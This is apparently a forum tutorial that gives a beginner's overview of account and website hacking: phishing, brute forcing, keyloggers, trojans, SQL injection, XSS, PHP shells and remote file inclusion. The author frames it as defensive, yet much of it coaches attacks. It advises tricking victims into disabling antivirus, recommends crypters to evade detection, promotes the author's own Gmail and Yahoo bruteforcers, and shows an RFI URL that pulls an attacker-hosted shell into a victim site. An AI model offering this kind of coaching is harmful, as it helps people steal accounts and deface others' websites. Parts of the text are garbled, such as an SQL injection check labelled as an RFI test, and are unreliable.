Introduction: We see a millions of people going to different forums and websites and asking "how do i hack an email?", "Can you hack blah for me?". So thought to create a tutorial which will give you the basic idea about what the heck is a "HACK", and how to DEFEND YOUR SELF AGAINST HACKERS. Disclaimer: As i have seen controversies in the past, here is the disclaimer. I or the staff of Go4expert.com's does not take any responsibility if you use this tutorial in unethical way. This is written to help you to beware of whats going around, and save your self by not being hacked! Background: Hacking started way too far when the windowsd 98 was designed. Hacking is basically finding out the loop holes and trying leak some information out of it, which may lead you to get some critical information like passwords, credit card details. Sometimes hacking is done just because of the personal offesnses. Things to remember I will suggest you, KEEP READING ARTICLES AND TUTORIALS FROM GOOD SITES. THATS THE ONLY WAY YOU CAN LEARN. Initialization: Getting back to the main point, I am going to discuss some of the ways of hacking in brief. Hacking is basically bifurcated in 2 major parts. 1. Email or the user information 2. Web based hacking. Email or user information: These days the most commonly used and famous way of hacking user information like Emails, Passwords, Credit card details are as follow: a. Phishing b. Brute Forcing c. Keylogging d. Trojans a. Phishing: Phishing is basically a massive attack. What a hacker does is, they created an absoulutely look alike page of some website like yahoo or gmail. They upload it to their own server. And give the link to any n00b user. When they open it, they think that they are on the yahoo or gmail page, they put in their username and password, click on submit and WHOA! your information has been submitted. This is widely used by new people trying to entering into ahcking world. Most recent example in india was some scam with ICICI bank, lots of user info was stolen as far as i remember. I read it somewhere in the news paper and was thinking what the hell! ? Disadvantages: Still many people give it a try before going for phishing, because the only problem in phishing is, even if the victim knows a little about internet, he will read the URL and understand that it is not a genuine website. b. Brute Forcing Brute forcer is basically a program which could be called as a "cracker". In brute focer you put the username you want to hack, and as a password you put a notepad file which has almost all of the existing english words in it. So what it does is, it will try each and every word from that file and see if anything matches. You might have noticed some topics like "huge pass list" on different forums, they are nothing but the password list to put into your bruteforcer.! Disadvantages: 1. Sometimes brute forcing may just go for ages! 2. It isnt guaranteed 3. These days many people have alpha-numeric-symbol password which is real tough for brutefocer to detect 4. Most of the famous sites like yahoo, gmail are designed in such a way that it will put the "image captcha" after 3 incorrect login attempts, which stops the bruteforcer. P.S:- I have made some focused FTP, Gmail & Yahoo bruteforcers which are avilable on my website. c. Keylogging Keylogger helps you to create a little filed which is known as "server". You gotta send your server to the victim. he has to click on it and then YOUR DONE! this is what happens. Best possible way to hack someone. Keyloggers are basically a program which will install themselves in your victim's computer and will keep on recording each and every keystroke pressed by the victim on his keyboard and it will send it to the hacker. There are many ways to receive the keystroke i.e. FTP, Email, Messengers. According to me this is the best way to trick your victim and get their information Disadvantages : 1. When victim receives the keylogger, in most of the cases, their anti virus would auto delete them. So you have to convince them to desable the anti virus by bluffing something. 2. Sometimes firewall blocks the keylogs from being sent. Tips : 1. There are some programs which are known as "crypters" which will help you to make your server's undetectable. So your victim's anti-virus would not be able to detect them. d. Trojans: Trojans are like father of keyloggers. Trojan sends you the keylogs just as keyloggers, on top of that, it lets you take the control of victim's computer. Edit / delete/ upload / download files from or to their computer. Some more funny features like it will make their keyboard go mad, it may kep on ejecting and re-inserting the cd ROM. Much more.. Disadvantages : Same as keyloggers. Tips : Same as keylogger. Web Hacking: I will discuss some most commonly used web hacking techniques which helps hackers to hack any website. This will help you to SAVE YOUR SITE! 1. SQL Injection 2. XSS 3. Shells 4. RFI 5. There are some more but they are TOOO big to be discussed in here. 1. SQL Injection: Most of the websites these days are connected to an SQL Database. Which helps them to store usernames and passwords [encrypted] when a guest registers to their website. SQL database processes a querie everytime a user logs in. It goes to the database, validates the password, if its correct then it logs in the user and if its not then it gives an error. So the basic funda is executing a command to parase a query in the database to try to exploit the internet information of the database. I cant really put the entire tutorial about because this is the most complicated way to hack the website! P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following . If your site's URL is: Code: yoursite.com/index.php?id=545 just add a ' like this at the end Code: yoursite.com/index.php?id=545' 2. XSS: XSS is another nice way to ahck some website. Suppose if some website/ forum is allowing HTML in the psot or articles, then a hacker can post a malicious script into the content. So whenever a user opens up the page, the cookies would be sent to the hacker. So he can login as that user and f*ck the website up. 3. Shells: Shell is a malicious .php script. What you have to do is, find a palce in any website where you can upload any file like avatars, recepie, your tricks, your feedbacks. And you try to upload your shell files from there. And if its uploaded then WHOA!you open it from the URL bar and u can see the entire "FTP" account of that webhosting. YOu can rename/edit / upload/download anything u want including the index page. This is also known as deface. 4. RFI: RFI is a good way to deface a website. It is used with shell. Suppose you have uploaded your shell on: Code: yoursite.com/shell.txt and you found a vulnerable site to RFI... then you can do as follow: Code: victimssite.com/index.php?page=yousite.com/shell.txt This will again give u the access of your victim's sites FTP , just as shell so you can f*ck up anything you want. P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following . If your site's URL is: Code: yoursite.com/index.php?id=545 just add something liek this at the end Code: yoursite.com/index.php?id=http://www.google.com And if it incldes the google page into your page, that means its vulnerable to RFI.
